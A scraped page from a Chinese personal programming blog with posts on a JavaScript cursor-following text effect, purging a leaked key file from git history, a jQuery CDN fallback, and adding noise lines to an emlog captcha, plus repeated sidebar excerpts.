function animate(evt){

x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);

y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);

}

function getidleft(id){

if(ns4)return id.left;

else return parseInt(id.style.left);

}

function getidtop(id){

if(ns4)return id.top;

else return parseInt(id.style.top);

}

function getwindowwidth(){

if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;

else return window.innerWidth+pageXOffset;

}

function movetxts(){

for(i=text.length;i>1;i=i-1){

if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){

moveid(txtA[i-1],0,-1000);

moveid(txtA[i],0,-1000);

}else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));

}

moveid(txtA[1],x1,y1);

}

window.onload=function(){

for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);

if(ns4)document.captureEvents(Event.MOUSEMOVE);

document.onmousemove=animate;

setInterval('movetxts()',delay);

}

标签: 代码分享 JS 文字特效

admin 发布于 2016-4-7 10:41

评论(0) 浏览(6360)

清空Github上某个文件的历史代码人生

今天在Github更新代码的时候，不小心把Gmail私钥文件更新上去了。即便我立刻删除了这个文件，可是在版本历史里面仍然可以看到这个文件的内容。这可把我吓坏了。

Google一圈以后，终于找到了解决办法。把某个文件的历史版本全部清空。

首先cd 进入项目文件夹下，然后执行以下代码：

git filter-branch --force --index-filter 'git rm --cached --ignore-unmatch 文件名' --prune-empty --tag-name-filter cat -- --all

git push origin master --force

rm -rf .git/refs/original/

git reflog expire --expire=now --all

git gc --prune=now

git gc --aggressive --prune=now

虽然不知道他们的作用是什么，不过真的解决了我的问题。看起来，以前我说我熟练掌握git，真是自不量力。

另外还找到了另一个方法：

git filter-branch -f --tree-filter ‘rm -rf vendor/gems‘ HEAD

git push origin --force

文／青南（简书作者）
原文链接：http://www.jianshu.com/p/573c1d2fe9fd

标签: 代码分享 github git

admin 发布于 2016-4-5 12:08

评论(0) 浏览(5723)

判断是否成功将Jquery库引入，如果没有成功引入则引入本地Jquery库代码人生

这里我用的是引入emlog的主题/插件本地Jquery库做的例子。多了就不说了，直接上代码：

<script  src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script>
<script type="text/javascript">
//<![CDATA[
//判断是否成功将Jquery库引入，如果没有成功引入则引入本地Jquery库
if (typeof jQuery == 'undefined') {document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>");}
//]]>
</script>

或者有更短一点的：

<script src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script>
<script type="text/javascript">
//<![CDATA[
//判断是否成功将Jquery库引入，如果没有成功引入则引入本地Jquery库
!window.jQuery && document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>");
//]]>
</script>

标签: 编程代码分享 JS

admin 发布于 2016-4-4 14:07

评论(0) 浏览(8110)

简单修改emlog的checkcode.php给验证码增加干扰线和噪点 emlog

以下是在论坛看到ewceo的帖子里的，但是他并没有给出具体的代码，对于菜鸟们来说就不容易；

修改过程图览：

鉴于 @奇遇的反垃圾评论插件（哪怕是最新3.5版）经常被非法侵入式清空设置并报错，也不知是啥BUG，只好亲自动手来反击显示为国外IP的长篇英文评论了

首先分析状况：咱EMLOG的所有文章评论表单都是使用一个相同的提交地址，只是将文章ID赋在一个INPUT之中，这就给了机器人可趁之机：提交地址固定的、验证码地址固定的（还TM特好识别），文章ID是数字的随机生成就好，EMLOG的评论表单被模似简直是史上最轻松啊！所以JS之类的手段在机器人面前都是渣……

8错，在尚无给力插件问世的情况下，治标治本的办法只有改内核文件了：

第1步：英文垃圾评论一大特色就是长篇的并夹杂着火星文字，所以必含中文这样的反制也弱爆了，comment_controller.php文件定义评论最大字符数居然为8000，这是干神马的节奏，很多文章都够不到4000字好吧，发条微博和说说都不能超140字，所以偶赶紧给改为几百压压惊，上千字的精彩评论偶不需要啊

完成第一步还得紧接着做第2步：额，斗个胆，EMLOG默认的验证码偶能吐个槽么，生成的文字中规中矩且颜色清晰好辨，根本就是鸡肋嘛，除了给真心评论的人制造一道坎外，简直就是垃圾评论机器人的帮凶，还有比这更好自动识别的验证码么？checkcode.php唯一可赞之处似乎是不涉及字体文件，代码也比较精炼，这是偶所喜欢的风格，因此就没给彻底换掉，只是加了一点代码：增加几个随机线条，文字颜色范围也弄宽了点（为了防止人眼难识别，增加了点击刷新）……

如此2招之后偶就已经开始坐等机器人了，别的没啥，偶就是在线时间多，突然发现与垃圾评论玩玩策略对抗也有点意思，话说机器人若玩不过偶就暂不上后招咯

学过php的人应该很容易修改，我在这里把我修改过的粗略代码贴出来，便于不会的朋友借鉴，也便于会的朋友给我指点：

<?php
/**
 * Emlog图片验证码生成程序
 * @copyright (c) Emlog All Rights Reserved
 * Modify By Mrxn 
 * Emlog  Site: http://www.emlog.net/
 * Mrxn's Blog: https://mrxn.net/
 */

session_start();

$randCode = '';
$chars = 'abcdefghijkmnpqrstuvwxyzABCDEFGHIJKLMNPRSTUVWXYZ23456789';
for ( $i = 0; $i < 5; $i++ ){
    $randCode .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}

$_SESSION['code'] = strtoupper($randCode);

$img = imagecreate(75,25) or die("创建图像资源失败,请刷新页面");
$bgColor = isset($_GET['mode']) && $_GET['mode'] == 't' ? imagecolorallocate($img,245,245,245) : imagecolorallocate($img,255,255,255);
$pixColor = imagecolorallocate($img,mt_rand(88, 245), mt_rand(55, 240), mt_rand(99, 200));
//画字符、大小
for($i = 0; $i < 5; $i++){
    $x = $i * 13 + mt_rand(3, 7) - 2;
    $y = mt_rand(0, 3);
    $text_color = imagecolorallocate($img, mt_rand(100, 250), mt_rand(80, 180), mt_rand(90, 220));
    imagechar($img, 5, $x + 5, $y + 3, $randCode[$i], $text_color);
}
//画干扰点
for($j = 0; $j < 240; $j++){
    $x = mt_rand(0,100);
    $y = mt_rand(0,40);
    imagesetpixel($img,$x,$y,$pixColor);
}
//4条横斜线
for ($i=0; $i < 5; $i++) { 
    $lineColor = imagecolorallocate($img, rand(50, 150), rand(50, 150), rand(50, 150));
    $lineX1 = 0;
    $lineX2 = 80;
    $lineY1 = ($i + 1) * 8;
    $lineY2 = ($i + 1) * 15;
    imageline($img, $lineX1, $lineY1, $lineX2, $lineY2, $lineColor);
}

//4条竖斜线
for ($i=0; $i < 5; $i++) { 
    $lineColor = imagecolorallocate($img, rand(50, 150), rand(50, 150), rand(50, 150));
    $lineY1 = 0;
    $lineY2 = 30;
    $lineX1 = ($i + 1) * 8;
    $lineX2 = ($i + 1) * 15;
    imageline($img, $lineX1, $lineY1, $lineX2, $lineY2, $lineColor);
}

header('Content-Type: image/png');
imagepng($img);
imagedestroy($img);

将以上代码保存为[code]checkcode.php[/code]放在 你网站根目录/include/lib/下 覆盖，然后重启Apache或者是Nginx 即可看到效果（当然需要后台开启验证码）。

为防止真正的读者不能识别验证码，请给验证码添加上 点击刷新 功能，

参考链接：给emlog5.3添加验证码刷新功能 https://mrxn.net/emlog-teach/242.html

[red]注：在进行DIY操作之前，请先备份相关文件，以防万一！本文基于emlog 5.31测试可行，理论上兼容所有版本，只要php版本不低于4[/red]

相关参考：

https://segmentfault.com/a/1190000002924386

http://bbs.emlog.net/thread-40567-1-1.html

对于反垃圾评论，也可以试试我这款插件：

https://mrxn.net/emlog-teach/emlog-math-comment-plugin.html

http://www.emlog.net/plugin/248

标签: 代码 php emlog 验证码

admin 发布于 2016-3-28 15:52

评论(1) 浏览(7013)

« 1 2 3 4 5 6 7 ... 14 »

详细解读jQuery CSS 操作 - scrollTop,scrollLeft,offsetLeft方法代码人生

关于scrollTop,offsetTop,scrollLeft,offsetLeft用法介绍：

jQuery常用监听页面滚动

详细分析如何实现图片懒加载(lazyload)，提高用户体验代码人生

懒加载的意义（为什么要使用懒加载）

原理

注：图片要指定宽高

<img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" />

代码

使用节流函数进行性能优化

算法学习之处-运用基本的逻辑与数学知识进行简单的循环遍历代码人生

假设有这么一道数学题：

首先是来看看PHP版：

<?php function getResult($times){ $i = 0; $n = 1; while(true){ if(!($n%2) || !($n%3)){ $i++; if($i == $times){ return $n; } } $n++; } } echo getResult(2333); ?>
然后看看Java版：

Python版本：

[i for i in range(0,8000) if not(i%2 and i%3)][2333]
再看看C++：

还有Go语言版本：

func main() { var x int c := 2333 //c = x/2+ x/3-x/6==>x=2c/3 + c%2 x = 3c/2 + c%2 fmt.Println(x) }
javascript版本:

作为一个前端，可以如何机智地弄坏一台电脑？代码人生

起因

关键

自动遍历

防止浏览器崩溃

继续实验的黑科技

最后

HTML5新特性Bug：这12行代码分分钟让你浏览器崩溃iPhone重启代码人生

结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防代码人生

简单的js代码让你的鼠标拥有动态文字跟随代码人生

清空Github上某个文件的历史代码人生

判断是否成功将Jquery库引入，如果没有成功引入则引入本地Jquery库代码人生

简单修改emlog的checkcode.php给验证码增加干扰线和噪点 emlog

搜索

日历

最新文章

最新评论

分类

标签

存档

链接

关于scrollTop,offsetTop,scrollLeft,offsetLeft用法介绍：

jQuery常用监听页面滚动

懒加载的意义（为什么要使用懒加载）

原理

注：图片要指定宽高 <img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" />

代码

使用节流函数进行性能优化

假设有这么一道数学题：

首先是来看看PHP版：

<?php function getResult($times){ $i = 0; $n = 1; while(true){ if(!($n%2) || !($n%3)){ $i++; if($i == $times){ return $n; } } $n++; } } echo getResult(2333); ?> 然后看看Java版：

Python版本：

[i for i in range(0,8000) if not(i%2 and i%3)][2333] 再看看C++：

还有Go语言版本：

func main() { var x int c := 2333 //c = x/2+ x/3-x/6==>x=2*c/3 + c%2 x = 3*c/2 + c%2 fmt.Println(x) } javascript版本:

起因

关键

自动遍历

防止浏览器崩溃

继续实验的黑科技

最后

搜索

日历

最新文章

最新评论

分类

标签

存档

链接

注：图片要指定宽高

<img src="default.jpg" data-src="http://ww4.sinaimg.cn/large/006y8mN6gw1fa5obmqrmvj305k05k3yh.jpg" />

<?php function getResult($times){ $i = 0; $n = 1; while(true){ if(!($n%2) || !($n%3)){ $i++; if($i == $times){ return $n; } } $n++; } } echo getResult(2333); ?>
然后看看Java版：

[i for i in range(0,8000) if not(i%2 and i%3)][2333]
再看看C++：

func main() { var x int c := 2333 //c = x/2+ x/3-x/6==>x=2c/3 + c%2 x = 3c/2 + c%2 fmt.Println(x) }
javascript版本: